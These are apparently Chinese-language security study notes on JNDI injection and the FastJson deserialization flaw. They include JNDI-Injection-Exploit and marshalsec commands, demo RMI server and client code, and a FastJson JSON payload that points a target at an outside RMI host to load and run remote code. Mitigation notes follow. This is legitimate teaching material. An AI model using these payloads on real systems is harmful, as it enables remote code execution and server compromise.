JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。
RMI:远程方法调用注册表(Remote Method Invocation Registry)
LDAP:轻量级目录访问协议(Lightweight Directory Access Protocol)
什么是jndi注入
为什么有jndi注入
JDNI注入安全问题
JDNI注入利用条件
参考: https://blog.csdn.net/dupei/article/details/120534024
调用检索:
Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。javax.naming.InitialContext.lookup()
在RMI服务中调用了InitialContext.lookup()
的类有:
org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)
在LDAP服务中调用了InitialContext.lookup()
的类有:
InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()
JNDI远程调用-JNDI-Injection
基于工具自主定义(节省下述2,4步骤)
1、使用远程调用(默认端口1389)
new InitialContext().lookup("ldap://xx.xx.xx.xx:1389/Test");
new InitialContext().lookup("rmi://xx.xx.xx.xx:1099/Test");
2、使用利用工具生成调用地址
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A xx.xx.xx.xx
JNDI远程调用-marshalsec
1、使用远程调用(默认端口1389)
new InitialContext().lookup("ldap://xx.xx.xx.xx:1389/Test");
new InitialContext().lookup("rmi://xx.xx.xx.xx:1099/Test");
2、编译调用对象
javac Test.java
3、使用利用工具生成调用协议(rmi,ldap)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://0.0.0.0/#Test
4、将生成的Class存放访问路径
例:RMI调用
//bind:将名称绑定到对象中;
//lookup:通过名字检索执行的对象;
//Reference类表示对存在于命名/目录系统以外的对象的引用。
//Reference参数:
//className:远程加载时所使用的类名;
//classFactory:加载的class中需要实例化类的名称;
//classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;
Registry registry= LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Calc", "Calc", "http://localhost/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("calc", wrapper);
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Method;
/**
* JNDI注入演示类
* 安全风险:该代码演示了JNDI注入漏洞,仅用于安全测试,不要在生产环境使用
*/
public class JndiDemo {
public static void main(String[] args) throws NamingException, ClassNotFoundException, NoSuchMethodException {
// ===================== 第一部分:直接JNDI注入 ===================== // 安全风险:这里直接使用JNDI lookup,如果URL可控,攻击者可以指向恶意RMI服务器
InitialContext var1 = new InitialContext();
var1.lookup("rmi://127.0.0.1:7778/RCE");
// ===================== 第二部分:FastJson JNDI注入 ===================== // FastJson反序列化JNDI注入payload
// 安全风险:攻击者可以通过构造特定JSON,实现远程代码执行
// 影响版本:FastJson < 1.2.48
String payload = "{" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," + // 指定危险类
"\"dataSourceName\":\"rmi://192.168.1.2:1099/qdw686\", " + // JNDI lookup URL
"\"autoCommit\":true" + // 触发connect()方法
"}";
// ===================== 第三部分:反射调用分析 ===================== // 安全风险:通过反射可以调用JdbcRowSetImpl类的方法
// 这里演示了如何获取setDataSourceName方法,该方法在JNDI注入中起关键作用
Class<?> aClass = Class.forName("com.sun.rowset.JdbcRowSetImpl");
Method setDataSourceName = aClass.getDeclaredMethod("setDataSourceName", String.class);
System.out.println(setDataSourceName);
/*
* 防御措施:
* 1. 升级FastJson到安全版本
* 2. 禁用自动类型解析:ParserConfig.getGlobalInstance().setAutoTypeSupport(false)
* 3. 设置反序列化白名单
* 4. 禁用JNDI远程加载:-Dcom.sun.jndi.rmi.object.trustURLCodebase=false
* 5. 过滤RMI/LDAP协议URL
* 6. 使用更安全的JSON库如Jackson
*/ }
}
JNDI server
/**
* JNDI RMI服务器
* 安全风险:该服务器可用于JNDI注入测试,仅用于安全研究
*/
public class JndiServer {
public static void main(String[] args) throws Exception {
// 创建RMI注册表,监听7778端口
// 安全风险:暴露的RMI服务可能被攻击者利用
Registry registry = LocateRegistry.createRegistry(7778);
// 创建一个Reference,指向远程代码
// 安全风险:这里的URL如果指向攻击者控制的服务器,可加载恶意类
Reference reference = new Reference("Test", "Test", "http://127.0.0.1:8089/");
// 将Reference包装为RMI对象
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
// 绑定RMI对象到注册表
// 当客户端查找"RCE"时,将返回这个Reference对象
registry.bind("RCE", wrapper);
/*
* 安全建议:
* 1. 生产环境禁止暴露RMI服务
* 2. 如必须使用RMI,限制可访问的IP
* 3. 使用安全的认证机制
* 4. 监控异常的RMI连接
*/
}
}
背景:JavaEE中接受用户提交的JSON数据进行转换(FastJson反序列化漏洞)
思路:利用 InitialContext.lookup()
中的进行 JdbcRowSetImpl
类JNDI服务注入
漏洞利用FastJson autotype处理Json对象的时候,未对@type字段进行完整的安全性验证,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞,获取服务器敏感信息,甚至可以利用此漏洞进一步的对服务器数据进行操作。
1、报错判断FastJson
2、生成远程调用方法
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 47.94.236.117
3、提交JSON数据Payload
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://47.94.236.117:1099/vwaexx","autoCommit":true}
java.rmi.server.useCodebaseOnly
的默认值被设置为true。当该值为true时,
将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase
指定路径加载类文件。
使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader
的安全性。
增加了com.sun.jndi.rmi.object.trustURLCodebase
选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,
因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
增加了com.sun.jndi.ldap.object.trustURLCodebase
选项,默认为false,
禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。